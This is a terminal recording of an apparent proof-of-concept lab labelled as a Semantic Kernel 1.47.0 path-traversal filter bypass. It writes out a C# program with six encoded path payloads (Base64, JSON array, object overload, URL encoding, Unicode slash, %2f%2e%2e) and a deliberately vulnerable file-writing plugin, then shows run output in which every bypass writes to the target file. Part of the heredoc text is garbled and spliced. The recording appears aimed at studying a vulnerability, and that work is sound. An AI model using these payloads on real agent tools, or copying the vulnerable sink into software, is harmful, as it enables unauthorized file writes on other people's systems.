asciinema play JDP_Security_Series_NukaAI_v1.47-CVE-2026-25592-BYPASS-2.cast vboxuser@Ubuntu-Server:~/sk-lab-additional$ dotnet list package | grep "SemanticKernel" > Microsoft.SemanticKernel 1.47.0 1.47.0 vboxuser@Ubuntu-Server:~/sk-lab-additional$ cat << 'EOF' > Program.cs using System; using System.IO; using System.Threading.Tasks; using System.Text.Json; using System.Text; using System.Net; using Microsoft.SemanticKernel; using Microsoft.Extensions.DependencyInjection; // ######################################################### // # JDP SECURITY RESEARCH SERIES: PROJECT NUKA-AI # // # TARGET: SEMANTIC KERNEL V1.47.0 # // # VULNERABILITY: PATH TRAVERSAL FILTER BYPASS # // ######################################################### var builder = Kernel.CreateBuilder(); builder.Plugins.AddFromType("FileTools"); builder.Services.AddSingleton(); var kernel = builder.Build(); Console.WriteLine("=== NUKA-AI SECURITY AUDIT: STARTING ==="); // --- SECTION 1: THE BLOCKED ATTEMPTS --- Console.WriteLine("\n[BLOCK TEST 1] Checking for basic Traversal..."); try { await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "../../Program.cs" }, { "content", "X" } }); } catch (UnauthorizedAccessException) { Console.WriteLine(" >> RESULT: BLOCKED (Saw '..')"); } Console.WriteLine("[BLOCK TEST 2] Checking for Raw Slashes..."); try { await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "SafeFolder/../Program.cs" }, { "content", "X" } }); } catch (UnauthorizedAccessException) { Console.WriteLine(" >> RESULT: BLOCKED (Saw '/')"); } // --- SECTION 2: THE BYPASS GALLERY --- Console.WriteLine("\n[BYPASS 1] Base64 Encoding..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", Convert.ToBase64String(Encoding.UTF8.GetBytes("Program.cs")) }, { "content", "BYPASS 1: SUCCESS\n" } }); Console.WriteLine("[BYPASS 2] JSON Array Confusion..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", JsonSerializer.Deserialize("[\"Program.cs\"]") }, { "content", "BYPASS 2: SUCCESS\n" } }); Console.WriteLine("[BYPASS 3] Anonymous Object Overload..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", new { path = "Program.cs" } }, EOF } File.AppendAllText(stringPath, content);: {Path.GetFullPath(stringPath)}");Path);? "default.txt";nContext, Task> next) { vboxuser@Ubuntu-Server:~/sk-lab-additional$ vboxuser@Ubuntu-Server:~/sk-lab-additional$ vboxuser@Ubuntu-Server:~/sk-lab-additional$ vboxuser@Ubuntu-Server:~/sk-lab-additional$ vboxuser@Ubuntu-Server:~/sk-lab-additional$ cat Program.cs using System; using System.IO; using System.Threading.Tasks; using System.Text.Json; using System.Text; using System.Net; using Microsoft.SemanticKernel; using Microsoft.Extensions.DependencyInjection; // ######################################################### // # JDP SECURITY RESEARCH SERIES: PROJECT NUKA-AI # // # TARGET: SEMANTIC KERNEL V1.47.0 # // # VULNERABILITY: PATH TRAVERSAL FILTER BYPASS # // ######################################################### var builder = Kernel.CreateBuilder(); builder.Plugins.AddFromType("FileTools"); builder.Services.AddSingleton(); var kernel = builder.Build(); Console.WriteLine("=== NUKA-AI SECURITY AUDIT: STARTING ==="); // --- SECTION 1: THE BLOCKED ATTEMPTS --- Console.WriteLine("\n[BLOCK TEST 1] Checking for basic Traversal..."); try { await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "../../Program.cs" }, { "content", "X" } }); } catch (UnauthorizedAccessException) { Console.WriteLine(" >> RESULT: BLOCKED (Saw '..')"); } Console.WriteLine("[BLOCK TEST 2] Checking for Raw Slashes..."); try { await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "SafeFolder/../Program.cs" }, { "content", "X" } }); } catch (UnauthorizedAccessException) { Console.WriteLine(" >> RESULT: BLOCKED (Saw '/')"); } // --- SECTION 2: THE BYPASS GALLERY --- Console.WriteLine("\n[BYPASS 1] Base64 Encoding..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", Convert.ToBase64String(Encoding.UTF8.GetBytes("Program.cs")) }, { "content", "BYPASS 1: SUCCESS\n" } }); Console.WriteLine("[BYPASS 2] JSON Array Confusion..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", JsonSerializer.Deserialize("[\"Program.cs\"]") }, { "content", "BYPASS 2: SUCCESS\n" } }); Console.WriteLine("[BYPASS 3] Anonymous Object Overload..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", new { path = "Program.cs" } }, { "content", "BYPASS 3: SUCCESS\n" } }); Console.WriteLine("[BYPASS 4] URL Encoding..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "P%72ogram%2ec%73" }, { "content", "BYPASS 4: SUCCESS\n" } }); Console.WriteLine("[BYPASS 5] Unicode Homoglyphs..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", ".⁄Program.cs" }, { "content", "BYPASS 5: SUCCESS\n" } }); Console.WriteLine("[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "SafeFolder%2f%2e%2e%2fProgram%2ecs" }, { "content", "BYPASS 6: SUCCESS\n" } }); // --- THE DEFENSE --- public class PathSanitizationFilter : IFunctionInvocationFilter { public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) { foreach (var arg in context.Arguments) { if (arg.Value is string str && (str.Contains("..") || str.Contains("/"))) throw new UnauthorizedAccessException("Blocked!"); } await next(context); } } // --- THE VULNERABLE SINK --- public class FilePlugin { [KernelFunction] public void SaveConversation(object path, string content) { string stringPath = path?.ToString() ?? "default.txt"; if (stringPath.Contains("%")) stringPath = WebUtility.UrlDecode(stringPath); if (stringPath.Contains("⁄")) stringPath = stringPath.Replace("⁄", "/"); if (path is string s && s.EndsWith("==")) stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s)); else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) stringPath = el[0].GetString() ?? "default.txt"; else if (path.GetType().GetProperty("path") != null) stringPath = path.GetType().GetProperty("path")?.GetValue(path)?.ToString() ?? "default.txt"; if (!File.Exists(stringPath)) stringPath = Path.Combine(AppContext.BaseDirectory, "../../../", stringPath); Console.WriteLine($" >> SINK: Writing to: {Path.GetFullPath(stringPath)}"); File.AppendAllText(stringPath, content); } } vboxuser@Ubuntu-Server:~/sk-lab-additional$ dotnet run /home/vboxuser/sk-lab-additional/Program.cs(99,18): warning CS8602: Dereference of a possibly null reference. [/home/vboxuser/sk-lab-additional/sk-lab-additional.csproj] === NUKA-AI SECURITY AUDIT: STARTING === [BLOCK TEST 1] Checking for basic Traversal... >> RESULT: BLOCKED (Saw '..') [BLOCK TEST 2] Checking for Raw Slashes... >> RESULT: BLOCKED (Saw '/') [BYPASS 1] Base64 Encoding... >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs [BYPASS 2] JSON Array Confusion... >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs [BYPASS 3] Anonymous Object Overload... >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs [BYPASS 4] URL Encoding... >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs [BYPASS 5] Unicode Homoglyphs... >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs [BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization... >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs vboxuser@Ubuntu-Server:~/sk-lab-additional$ tail -n 10 Program.cs Console.WriteLine($" >> SINK: Writing to: {Path.GetFullPath(stringPath)}"); File.AppendAllText(stringPath, content); } } BYPASS 1: SUCCESS BYPASS 2: SUCCESS BYPASS 3: SUCCESS BYPASS 4: SUCCESS BYPASS 5: SUCCESS BYPASS 6: SUCCESS vboxuser@Ubuntu-Server:~/sk-lab-additional$ cat Program.cs using System; using System.IO; using System.Threading.Tasks; using System.Text.Json; using System.Text; using System.Net; using Microsoft.SemanticKernel; using Microsoft.Extensions.DependencyInjection; // ######################################################### // # JDP SECURITY RESEARCH SERIES: PROJECT NUKA-AI # // # TARGET: SEMANTIC KERNEL V1.47.0 # // # VULNERABILITY: PATH TRAVERSAL FILTER BYPASS # // ######################################################### var builder = Kernel.CreateBuilder(); builder.Plugins.AddFromType("FileTools"); builder.Services.AddSingleton(); var kernel = builder.Build(); Console.WriteLine("=== NUKA-AI SECURITY AUDIT: STARTING ==="); // --- SECTION 1: THE BLOCKED ATTEMPTS --- Console.WriteLine("\n[BLOCK TEST 1] Checking for basic Traversal..."); try { await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "../../Program.cs" }, { "content", "X" } }); } catch (UnauthorizedAccessException) { Console.WriteLine(" >> RESULT: BLOCKED (Saw '..')"); } Console.WriteLine("[BLOCK TEST 2] Checking for Raw Slashes..."); try { await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "SafeFolder/../Program.cs" }, { "content", "X" } }); } catch (UnauthorizedAccessException) { Console.WriteLine(" >> RESULT: BLOCKED (Saw '/')"); } // --- SECTION 2: THE BYPASS GALLERY --- Console.WriteLine("\n[BYPASS 1] Base64 Encoding..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", Convert.ToBase64String(Encoding.UTF8.GetBytes("Program.cs")) }, { "content", "BYPASS 1: SUCCESS\n" } }); Console.WriteLine("[BYPASS 2] JSON Array Confusion..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", JsonSerializer.Deserialize("[\"Program.cs\"]") }, { "content", "BYPASS 2: SUCCESS\n" } }); Console.WriteLine("[BYPASS 3] Anonymous Object Overload..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", new { path = "Program.cs" } }, { "content", "BYPASS 3: SUCCESS\n" } }); Console.WriteLine("[BYPASS 4] URL Encoding..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "P%72ogram%2ec%73" }, { "content", "BYPASS 4: SUCCESS\n" } }); Console.WriteLine("[BYPASS 5] Unicode Homoglyphs..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", ".⁄Program.cs" }, { "content", "BYPASS 5: SUCCESS\n" } }); Console.WriteLine("[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization..."); await kernel.InvokeAsync("FileTools", "SaveConversation", new() { { "path", "SafeFolder%2f%2e%2e%2fProgram%2ecs" }, { "content", "BYPASS 6: SUCCESS\n" } }); // --- THE DEFENSE --- public class PathSanitizationFilter : IFunctionInvocationFilter { public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) { foreach (var arg in context.Arguments) { if (arg.Value is string str && (str.Contains("..") || str.Contains("/"))) throw new UnauthorizedAccessException("Blocked!"); } await next(context); } } // --- THE VULNERABLE SINK --- public class FilePlugin { [KernelFunction] public void SaveConversation(object path, string content) { string stringPath = path?.ToString() ?? "default.txt"; if (stringPath.Contains("%")) stringPath = WebUtility.UrlDecode(stringPath); if (stringPath.Contains("⁄")) stringPath = stringPath.Replace("⁄", "/"); if (path is string s && s.EndsWith("==")) stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s)); else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) stringPath = el[0].GetString() ?? "default.txt"; else if (path.GetType().GetProperty("path") != null) stringPath = path.GetType().GetProperty("path")?.GetValue(path)?.ToString() ?? "default.txt"; if (!File.Exists(stringPath)) stringPath = Path.Combine(AppContext.BaseDirectory, "../../../", stringPath); Console.WriteLine($" >> SINK: Writing to: {Path.GetFullPath(stringPath)}"); File.AppendAllText(stringPath, content); } } BYPASS 1: SUCCESS BYPASS 2: SUCCESS BYPASS 3: SUCCESS BYPASS 4: SUCCESS BYPASS 5: SUCCESS BYPASS 6: SUCCESS vboxuser@Ubuntu-Server:~/sk-lab-additional$ tail -n 10 Program.cs Console.WriteLine($" >> SINK: Writing to: {Path.GetFullPath(stringPath)}"); File.AppendAllText(stringPath, content); } } BYPASS 1: SUCCESS BYPASS 2: SUCCESS BYPASS 3: SUCCESS BYPASS 4: SUCCESS BYPASS 5: SUCCESS BYPASS 6: SUCCESS vboxuser@Ubuntu-Server:~/sk-lab-additional$ exit exit